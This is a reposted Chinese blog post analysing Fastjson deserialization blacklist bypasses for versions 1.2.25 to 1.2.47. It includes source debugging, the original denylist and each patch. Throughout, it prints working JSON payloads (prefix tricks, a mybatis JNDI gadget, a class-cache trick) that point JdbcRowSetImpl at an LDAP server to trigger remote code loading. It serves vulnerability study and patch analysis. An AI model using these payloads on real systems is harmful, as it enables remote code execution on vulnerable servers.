Fastjson 反序列化漏洞分析 1.2.25-1.2.47


Fastjson 反序列化漏洞分析 1.2.25-1.2.47

寫在前面

上一篇文,主要跟了下Fastjson中反序列化的邏輯,以及在1.2.22-1.2.24版本中TemplatesImplJdbcRowSetImpl兩條鏈,這篇記錄下各個版本的Bypass補丁和繞過的復現,打算后面再寫篇文,整理下不出網如何利用Fastjson

Fastjson 1.2.25修復

修復改動:

  • 自從1.2.25 起 autotype 默認為False
  • 增加 checkAutoType 方法,在該方法中進行黑名單校驗,同時增加白名單機制

修改pom.xml換成1.2.25版本的Fastjson

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

首先對着1.2.25版本的fastjson打一發1.2.24版本的payload,看一下結果,已經打不成了。

先來把1.2.25jar包下下來,使用idea中Compare With... diff下源碼看下如何修復的,在DefaultJSONParser類中多了一個checkAutoType方法檢測

這里的話如果開了autoType會先走一個白名單acceptList的判斷,如果當前@Type指定的要反序列化的類以acceptList數組中某一元素開頭則直接loadClass去加載

但是因為默認白名單是空的,需要自己去add,所以走下面的黑名單denyList,黑名單如下:

"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"

而1.2.24 中我們用到的類是com.sun.rowset.JdbcRowSetImpl也在黑名單中,所以會拋出auto type not support異常

而如果沒有開啟autoType則會先走黑名單,如果指定類不在黑名單中再走白名單的判斷,符合后再去loadClass該類

Fastjson 1.2.25-1.2.41 Bypass

先看第一種payload:需開啟autoType

"{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}";

這個點其實上一篇文章有提到,調試看一下
首先跟進到checkAutoType中,因為這次@type指定類寫法變為Lcom.sun.rowset.JdbcRowSetImpl; 所以可以很輕松的繞過黑名單

后續在loadClass方法中 ,滿足了類名以L開頭以;結尾,進而也可以調用到loadClass加載並返回class對象

L [ ; 這些字符是 JNI 字段描述符,可參考這篇文章

那因此,當className第一個字符為[時也同樣可以進行繞過
payload: 需開啟autoType

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

首先是通過[繞過黑名單進入loadClass,之后第一次讀取完類名為[com.sun.rowset.JdbcRowSetImpl,loadClass之后變為[Lcom.sun.rowset.JdbcRowSetImpl;。而之后的[{判斷分別在JavaBeanDeserializer#deserialze方法和DefaultJSONParser#parseArray方法中
parseArray:需要當前有[才進入后續deserialze方法

后續在deserialze方法中,需要構造{。具體可參考這篇文章

當然這個payload是可以通殺1.2.25-1.2.43版本

Fastjson 1.2.25-1.2.42 Bypass

從1.2.42版本開始,在ParserConfig類中可以看到黑名單改為了哈希黑名單,目的是防止對黑名單進行分析繞過,目前已經破解出來的黑名單:https://github.com/LeadroyaL/fastjson-blacklist

payload:需開啟autoType ,通過雙寫L;進行繞過

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}

下面調試分析一下,還是跟進到checkAutoType方法開始看
首先第一次處理時會先去掉一層L ;

然后進行黑名單hash的比對,比對完成后進入loadClass方法

跟進后發現傳遞的參數依然是typeName而不是我們上面看到的className,那么看看下面是如何處理掉2層L;的,首先依然是進入滿足L開頭;結尾的邏輯,之后通過遞歸的方式去處理的className,所以當第二次再進入loadClass方法時就會去除掉L;以正常的類名去loadClass

Fastjson 1.2.25-1.2.43 Bypass

在1.2.43版本時在checkAutoType方法添加了如下的判斷,導致雙寫L,;無法繞過。所以在此版本下可以選擇上面提到的,走入[的判斷邏輯去觸發JNDI

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    className = className.substring(1, className.length() - 1);
}

payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}

Fastjson 1.2.25-1.2.45 Bypass

1.2.44版本對[的繞過payload做了限制,當第一個字符為[時拋出異常

payload:開啟autoTyoe;需要目標服務端存在mybatis的jar包,且版本需為3.x.x-3.5.0的版本。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/Basic/TomcatEcho"}

該payload主要因為org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名單中可繞過檢測,因為傳入properties會調用setProperties方法進而觸發JNDI

Fastjson 1.2.25-1.2.47 通殺

這里有2個版本段

  • 1.2.25-1.2.32版本:不能開啟AutoType
  • 1.2.33-1.2.47版本:無論是否開啟AutoType,都能成功利用

payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho",
        "autoCommit":true
    }
}

1.2.25-1.2.32 不能開啟autoType

首先來看1.2.25-1.2.32不能開啟AutoType

還是看到checkAutoType方法,因為沒開啟autotype所以不會進入黑白名單判斷的邏輯,並且因為是jdk自帶的Class類,所以可以找到

最終將其class對象直接return出來

之后調用MiscCodec#deserialize方法時,會去調用loadClass 加載JdbcRowSetImpl,而strVal的值是在上面通過判斷鍵是否為”val”,是的話再提取val鍵對應的值賦給objVal變量,而objVal在后面會賦值給strVal變量。

跟進loadClass,最終會將className與class對象的映射緩存到mappings中

而再一次進入checkAutoType方法后,會先從mappings中拿出class對象賦值給clazz

后續直接return該class對象 ,從而繞過了檢測

1.2.33-1.2.47 通殺

這里拿1.2.47做調試
依舊是跟進到checkAutoType方法,和上面的部分一樣,依舊是通過findClass可以找到java.lang.Class類,之后將其class對象return出來,之后就是將JdbcRowSetImpl緩存到mappings里

主要看第二次進入checkAutoType時的邏輯,主要是下面這個if。

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
    throw new JSONException("autoType is not support. " + typeName);
}

但是看網上文章都說是“滿足”條件,這里我跟的時候發現這兩個判斷結果都為false,主要存在不同的是第二個點,這里我是開啟autotype調試的,因為這里進入checkAutoType直接就進行了白+黑的檢測,並沒有調用getMapping,所以這里if中第二個條件為null,也即false,從而不會拋出異常

后續就沒啥好說的了,和上面過程類似,從mappings中獲取到JdbcSetRowImpl之后直接返回該class對象

為什么分成兩個小版本段

我們來diff下1.2.32和1.2.33,看看具體變動在哪里,觀察到checkAutoType方法在1.2.33之后多了TypeUtils.getClassFromMapping(typeName) == null,也就是在黑名單中也會從mappings獲取類,也就是當前類在黑名單中且在mappings中沒有,才會拋出異常;而在1.2.32之前,只是黑名單的判斷,在黑名單中就拋異常,不在就不拋。

Fastjson 1.2.48版本修復

在TypeUtils#loadClass中禁止了cache的使用,那么通過先put到mappings中再等到第二次走checkAutoType時再調用TypeUtils.getClassFromMapping()來加載這種繞過黑名單的姿勢就不能再用了

Reference

https://su18.org/post/fastjson/
https://www.mi1k7ea.com/2019/11/10/Fastjson系列三——歷史版本補丁繞過(需開啟AutoType)/
https://xz.aliyun.com/t/9052
https://www.cnblogs.com/nice0e3/p/14776043.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM